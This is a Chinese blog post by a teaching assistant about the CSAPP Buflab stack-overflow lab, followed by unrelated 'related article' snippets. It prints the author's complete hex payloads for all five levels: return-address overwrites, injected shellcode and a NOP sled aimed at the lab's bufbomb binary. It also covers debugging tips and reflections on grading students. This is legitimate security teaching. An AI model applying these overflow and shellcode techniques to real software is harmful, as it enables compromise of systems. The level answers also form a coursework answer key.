2024Spring> HNU-计算机系统-实验4-Buflab-导引+验收

news2024/12/28 5:12:48

前言

称不上导引了,因为验收已经结束了。主要是最近比较忙,在准备期末考试。周五晚上才开始看实验,自己跟着做了一遍实验,感觉难度还是比bomblab要低的,但是如果用心做的话对于栈帧的理解确实能上几个档次。

实验参考

这次我先上参考文献了,我主要还是在看A橙学长写的blog,然后参考了一些其它的blog。

由于我自己并没有花太多时间去做这个实验,我还是觉得看前辈们的博客会更方便理解一点。

A橙学长的buflab博客

CSAPP-buflab - 简书

计算机系统实验三——buflab(缓冲区实验)-CSDN博客

引导

这个实验主要是让我们用缓冲区溢出的方式修改函数的返回地址,或者修改寄存器的值,用这种方式可以让原来的函数干一些你想让它干的事情。具体逻辑在后面呈现。

①环境准备

拿到手应该是buflab-handout.tar.gz包,首先使用如下指令解压。

tar -xzvf buflab-handout.tar.gz

这样会得到3个文件,

  • bufbomb:类似于前面的bomblab的bomb,是我们要拆的炸弹
  • makecookie:让我们知道自己的用户id对应什么cookie(推测是一种哈希映射)
  • hex2raw:将我们写的16进制编码转换为字符串输入

与之前一样,可以使用如下指令反汇编得到汇编代码,保存在txt文件内,方便查看。

objdump -d bufbomb > bombcode.txt

使用如下代码查看自己的cookie,比如我的用户名是wolf,我就按下面这样,它会给出一个4字节的哈希值,这就是wolf对应的cookie。你也可以输入自己的学号,或者自己喜欢的代号。

./makecookie wolf

接下来就是看着txt文件,分析代码,然后拆炸弹,得到期望的运行结果了。

②逐个拆炸弹

一共有5关,从 level 0 到 level 4 ,难度递增,基本上后一个是前一个上面的改进。

我大致说说每一个level的含义以及不同。

  • level 0:修改getbuf函数的返回地址,使它调用smoke函数。不需要考虑栈被破坏的恢复
  • level 1:修改getbuf函数的返回地址,使它调用fizz函数,但是fizz函数有一个参数,需要同时修改栈上被传递的参数,该函数验证cookie是否等于被传递的参数。不需要考虑栈被破坏的恢复
  • level 2:修改getbuf函数的返回地址,使它调用bang函数,但是有一个全局变量(全局变量不保存在栈上,因而需要使用代码修改而不能简单通过缓冲区覆盖栈上的值完成),该函数验证cookie值是否等于这个全局变量。不需要考虑栈被破坏的恢复
  • level 3:执行getbuf()后,将getbuf()的返回值修改为cookie值,并返回到test()函数,同时恢复被破坏的栈(ebp的值)
  • level 4:使用-n标志运行程序】是上一level的升级版,相当于连续做5次level3,但有小区别。具体过程:调用testn(),在testn()中调用getbufn()五次,且缓冲区的大小为512字节。每次getbufn()的栈空间随机,因此不可以再使用level3中的方式找到buf的起始位置。

具体的拆炸弹过程可以参考上面列出来供参考的几位博客,我就不再赘述了。

评价一下,实验层层递进,由浅入深,确实十分精妙有趣。

③注意点

说一些注意点:

gdb的基础使用:

gdb -q bufbomb

打断点怎么打? 例如:b*0x8048436

怎么继续运行到下一个断点?c

最后一题注意要使用-n标志去运行程序(不论是调试还是运行),否则可能会报段错误

可以使用管道符来快速跑起来,如下面这样可以快速试试第4关

cat level4.txt | ./hex2raw | ./bufbomb -u wolf

④我的答案(对于name=wolf)

level0

/* spaces 44 Bytes */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00

/* return address to smoke 4 Bytes */
0b 8e 04 08

level1

/* spaces 44 Bytes */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00

/* return address to fizz 4 Bytes */
af 8d 04 08

/* spaces 4 Bytes */
00 00 00 00

/* cookie 4 Bytes */
68 18 e4 64

level2

/* my function 13 Bytes */
b8 68 18 e4 64 /* mov $0x64e41868,%eax */
b9 0c d1 04 08 /* mov $0x0804d10c,%ecx */
89 01          /* mov %eax,(%ecx) */
c3             /* ret */

/* spaces 31 Bytes */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00

/* return address to my function 4 Bytes */
58 3b 68 55

/* return address to bang 4 Bytes */
52 8d 04 08

level3

/* my function 17 Bytes */
68 50 8e 04 08 /* push $0x8048e50 */
68 b0 3b 68 55 /* push $0x55683bb0 */
b8 68 18 e4 64 /* mov $0x64e41868,%eax */
c9             /* leave */
c3             /* ret */

/* spaces 23 Bytes */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00

/* set ebp 4 Bytes */
80 3b 68 55

/* return address to my function 4 Bytes */
58 3b 68 55

level4(这个还需要调一下)

/* nop sleds 509 Bytes */
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90

/* my function 15 Bytes */
b8 68 18 e4 64 /* mov $0x64e41868,%eax */
8d 6c 24 28    /* lea 0x28(%esp),%ebp */
68 e2 8c 04 08 /* push $0x8048ce2 */
c3             /* ret  */

/* set return address 4 Bytes */
c8 39 68 55

验收

接下来讲一下验收的情况。

由于这次实验我本人自认为确实没有做充足的准备(仅仅是做了一遍,并没有进行深入的思考)。因此这次实验验收,我主要是在听同学们讲,然后根据我认为他们的理解程度给出评价。也因此,这次我给出的基本都是A,基本没有给到B的,然后有4位A+。主要是我认为同学们都达到了我的预期,基本理解了栈帧以及运行时栈的调动(其实如果静下心来学的话,不难的)。

拿到A+的同学或者一些其它比较好的同学有以下优点可供同学们学习:

  • ①条理清晰:这一点其实说着好像简单,实际上一点都不简单。确实有些同学我知道他理解了,但是在展示上确实观感就没那么突出。(这个其实我也有一点这样,我不太善于表达自己的观点)。我认为能清晰地表达出自己的观点是一种非常重要的能力,无论是在哪里。
  • ②预先绘制清晰图表:运行时栈的变化有时还是很难讲清楚的,所以印象中有好几位同学预先绘制了这样的图表,就会清晰好多。关键是在短时间内,我能一眼看到他确实懂了。有辅助的图表,会清晰很多,这个是在展示的层面上,可视化比平铺直叙更具有吸引力,也更方便交流。
  • ③探索心路:这一点是很多同学都忽视的。同学们习惯一上来就从level 0 开始讲。其实我还是比较关注这整体实验的来历的。包括你是怎么知道有5个关卡的,你是怎么知道要做这些的,你是怎么知道实验通关的标志的,等等这些。我希望看到你从0探索出全图的一些心路(就像一个一个锚点去开,然后全图豁然开朗的欣喜),而不是上来就一路过关斩将,实际上又有几个人能做到这么顺利呢。虽然我们都知道这个世界最看重结果,但我认为探索的过程永远是最有价值的部分。这一点还可以延申一下,由于课业繁重等,我们做实验往往抱着完成任务的态度,这无可厚非,但有时会感觉太刻意了,缺乏了一些探索的美感。还是希望同学们能有这个意识。
  • ④分析缓冲区溢出原因:很少有同学提及,我们这个实验为什么能继续下去。印象中有同学翻开书给我看,或者翻代码给我看gets函数的特性,因为这是它不检验溢出,可以无限读取。以及用fgets函数可以避免这个漏洞。我觉得这就非常好,这就是知其然而知其所以然。有时候这也是我们实验需要关注的一些细节。
  • ⑤关注基本指令的作用:几个小问题,call指令,leave指令,ret指令究竟做了什么,怎么转换成基本的操作。我觉得这个问题很重要。很欣喜的是大部分同学都能答得上来(实际上这也是做这个实验的基本要求)。有同学掌握的不是很熟练,有同学特别对这个做了总结,我觉得还是要关注的。

其它的:

  • ⑥印象中有同学探究了中间几个level的多种实现方法(修改ebp寄存器的值可以通过指令修改,也可以直接缓冲区溢出覆盖),(恢复ebp的几种方法)还有一些别的实现方法。有同学做到后面的题目之后,能想到对前面题目的改进方法,并对前面的题目也做了栈的修复,这些探究都非常好。
  • ⑦印象比较深刻的是有同学在level 0 用重定位绕过了 0a 导致被识别成换行符的问题,还是能让程序从smoke的第一条指令进入,而不是网上大多采用的改为0b然后从第二条指令进入的方法。这是一个令我眼前一亮的想法。想到这个的同学对于知识的整体体系有一个较好的整合。
  • ⑧有同学对于实验中不理解的地方向我提出问题,我在自己的能力范围内试图给出解答,不一定是正确的,但我认为这也能在一定的程度上反映出他的思考。能提出问题,能提出有价值的问题,也是一种能力

验收只是一个形式,最重要的还是希望大家能从实验中确实学到知识。

下面简单罗列一些我或者研究生助教的提问

  • 这个level相比于上个level,主要增加了什么需要完成的部分,你是怎么完成的?(主要问题)
  • level1中间为什么会空一个可以随便填写的地方?
  • level2你的代码入口在哪里,怎么获取它的地址?
  • level4为这5个ebp,为什么选择最大的那个?如果选择最小的那个会出现什么问题?
  • 运行时栈,怎么变化?
  • 某个地址,某个ebp,某个立即数,你是怎么得到的?
  • 某条指令的作用(call,ret,leave等)?
  • gdb m32标志是干什么的?(这是研究生助教提问的,有同学答不上来)(我认为这个应该还是比较基础的,主要是我们的系统基本上都是64位的,但是我们用的这个bomb是32位的,如果不使用这个标志,我们自己写的汇编可能会编译出retq这种64位特有的指令类型,不兼容的)
  • 其它问题(主要围绕代码本身或者运行时栈的变化)

尾声

真的很高兴能在大三成为本科生助教,为可爱而优秀的学弟学妹们验收这门计算机领域最重要课程的4个实验。

说起来,最早想当助教的念头起源于大二我在上这门课程时遇到的优秀的A橙学长,A橙学长独特的人格魅力真的吸引了我们,我们班甚至是我们年级好多人都是A橙学长的小迷弟小迷妹。A橙学长撰写的大量博客如一盏明灯,指引着我的本科生活。我想当助教99%的原因都是来自于这一点。希望能将这一点传承下去。我就是基于这样一种朴素的,希望能把自己遇到的真善美传递下去,这个简单的理念。这也许就是湖大信息院的诸多“传承”之一吧,像班助一样。

预祝学弟学妹们都能收获自己满意的知识+成绩。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1695587.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ClickHouse 24.4 版本发布说明

本文字数:13148;估计阅读时间:33 分钟 审校:庄晓东(魏庄) 本文在公众号【ClickHouseInc】首发 新的一个月意味着新版本的发布! 发布概要 本次ClickHouse 24.4版本包含了13个新功能🎁…

List Control控件绑定变量

创建基于对话框的mfc项目 添加 List Control控件 右击控件,选择“添加变量” 在初始化对话框代码中增加一些代码 BOOL CMFCApplication3Dlg::OnInitDialog() { //...// TODO: 在此添加额外的初始化代码DWORD dwStyle m_programLangList.GetExtendedStyle(); …

程序员的那些经典段子

哈喽,大家好,我是明智~ 本周咱们已经解决了在面试中经常碰到的OOM问题: 《美团一面,发生OOM了,程序还能继续运行吗?》 《美团一面:碰到过OOM吗?你是怎么处理的&#xff1…

【Linux】Linux的基本指令_1

文章目录 二、基本指令1. whoami 和 who2. pwd3. ls4. clear5. mkdir 和 cd6. touch7. rmdir 和 rm 未完待续 二、基本指令 直接在命令行的末尾(# 后面)输入指令即可。在学习Linux指令的过程中,还会穿插一些关于Linux的知识点。 1. whoami …

AI助力垃圾分类开启智慧环保新时代,基于卷积神经网络模型开发实践垃圾分类识别系统

在快节奏的现代生活中,垃圾分类已经成为一项重要的环保举措。然而,面对日益复杂的垃圾种类和繁多的分类标准,许多人感到困惑和无奈。幸运的是,随着人工智能技术的飞速发展,AI深度学习模型为垃圾分类带来了革命性的变化…

人工智能 框架 paddlepaddle 飞桨 使用指南 使用例子 线性回归模型demo 详解

安装过程&使用指南&线性回归模型 使用例子 本来预想 是安装 到 conda 版本的 11.7的 但是电脑没有gpu 所以 安装过程稍有变动,下面简单讲下 conda create -n paddle_env117 python=3.9 由于想安装11.7版本 py 是3.9 所以虚拟环境名称也是 paddle_env117 activa…

嵌入式全栈开发学习笔记---C语言笔试复习大全21(编程题25~30)

目录 25、实现字符串的排序。(输入hello world good,输出good hello world,其中字符串个数任意) 26、输入两个有序的字符串(从小到大),合并成一个有序的字符串。(输入cdhxyz fjln …

利用EAS自动生成数据模型和sql脚本

EAS适用于敏捷开发中小系统,这节主要讲解EAS对应的模型和数据库脚本输出应用。 在这个应用程序中,用户可自定义实体模型和枚举模型,只要选择相应的实体或者枚举进行右击添加即可。 解决方案参数设定,在解决方案的设定中可设置项目名称、通用语言,命名空间和输出位置。 连…

Python+Flask+Pandas怎样实现任意时间范围的对比数据报表

话不多说,有图有源码: 1.上图 2.因为是低代码的,只能发重要有用的代码片段了 实现思路:1)获取指定时间范围内的数据:2)df合并 #----------年份替换----------------for syear in range(int(byear),int(eyear)1):start_datestr(syear)strbdate[4:]end_datestr(syear)stredate…

2024-05-22 VS2022使用modules

点击 <C 语言编程核心突破> 快速C语言入门 VS2022使用modules 前言一、准备二、使用其一, 用VS installer 安装模块:第二个选项就是, 与你的代码一同编译std模块, 这个非常简单, 但是也有坑. 总结 前言 要解决问题: 使用VS2022开启modules. 想到的思路: 跟着官方文档整…

Linux更改系统中的root密码

Linux里面的root密码忘记了怎么办&#xff1f; 1 更改系统中的 root 密码 &#xff08;1&#xff09;键盘 CtrlAltT 快捷键打开终端。 &#xff08;2&#xff09;在终端窗口中输入以下代码&#xff1a; sudo passwd root &#xff08;3&#xff09;输入锁屏密码 &#xf…

kali下载zsteg和stegpy

1.kali下载zsteg 从 GitHub 上克隆zsteg到kali git clone https://github.com/zed-0xff/zsteg 切换目录 cd zsteg 用于安装名为 zsteg 的 Ruby Gem 包 gem install zsteg 2.kali下载stegpy 下载网站内的stegpy-master压缩包GitCode - 开发者的代码家园 并拉到kali中 切换到s…

String s1 = new String(“abc“);这句话创建了几个字符串对象?

首先&#xff0c;我们来聊聊Java中的字符串&#xff08;String&#xff09;。在Java里&#xff0c;字符串是不可变的&#xff0c;也就是说&#xff0c;一旦我们创建了一个字符串&#xff0c;它的值就不能更改了。这涉及到几个核心概念&#xff1a; 字符串常量池&#xff1a;这是…

Pytorch深度学习实践笔记5

&#x1f3ac;个人简介&#xff1a;一个全栈工程师的升级之路&#xff01; &#x1f4cb;个人专栏&#xff1a;pytorch深度学习 &#x1f380;CSDN主页 发狂的小花 &#x1f304;人生秘诀&#xff1a;学习的本质就是极致重复! 视频来自【b站刘二大人】 目录 1 Linear Regress…

Java 登录错误次数限制,用户禁登1小时

手机号验证码登录&#xff0c;验证码输入错误次数超5次封禁 Overridepublic boolean checkCaptcha(String phoneNum, String captcha) {String codeNum (String) redisTemplate.opsForValue().get(UserCacheNames.USER_CAPTCHA phoneNum);if (codeNum null) {throw new Wan…

2024 ISCC pwn wp

iscc 练武pwn 总结第一周chaosISCC_easyFlagshopping 第二周ISCC_easyISCC_Uheapheap 第三周miaoYour_programeazy_heap 总结 总体感觉iscc考察的题目都挺基础的&#xff0c;在目前这种比赛的大环境下&#xff0c;仍然出这种&#xff0c;比较基础的题目&#xff0c;实在是难得…

24李林跌落神坛,880还刷吗?还是换1000、900、660?

“李林今年跌落神坛了&#xff01;” “全是固定题型没新题&#xff0c;结果今年考的全是新题。” 880是“老真题的神”&#xff0c; 遇到24年&#xff0c;冷门考点多&#xff0c;计算量又大&#xff0c;就不灵了。 但“老真题”&#xff0c;还是得刷。就像往年真题是要刷的…

开源大模型与闭源大模型

概述 开源大模型和闭源大模型是两种常见的大模型类型&#xff0c;它们在以下方面存在差异&#xff1a; 开放性&#xff1a; 开源大模型&#xff1a;代码和模型结构是公开可用的&#xff0c;任何人都可以访问、修改和使用。闭源大模型&#xff1a;模型的代码和结构是私有的&…

SAP揭秘者-怎么执行生产订单ATP检查及其注意点

文章摘要&#xff1a; 上篇文章给大家介绍生产订单ATP检查的相关后台配置&#xff0c;大家可以按照配置步骤去进行配置&#xff0c;配置完之后&#xff0c;我们接下来就是要执行ATP检查。本篇文章具体给大家介绍怎么来执行生产 订单ATP检查及其注意点。 执行生产订单ATP检查的…

汇编:加减乘除指令

加法指令 (ADD) ADD指令用于将两个操作数相加&#xff0c;结果存储在第一个操作数中。 语法&#xff1a; ADD destination, source 示例&#xff1a; assume cs:code ​ code segmentmov ax,3mov bx,2add ax,bx //相加&#xff0c;结果会放在ax中mov ax,4c00hint 21h co…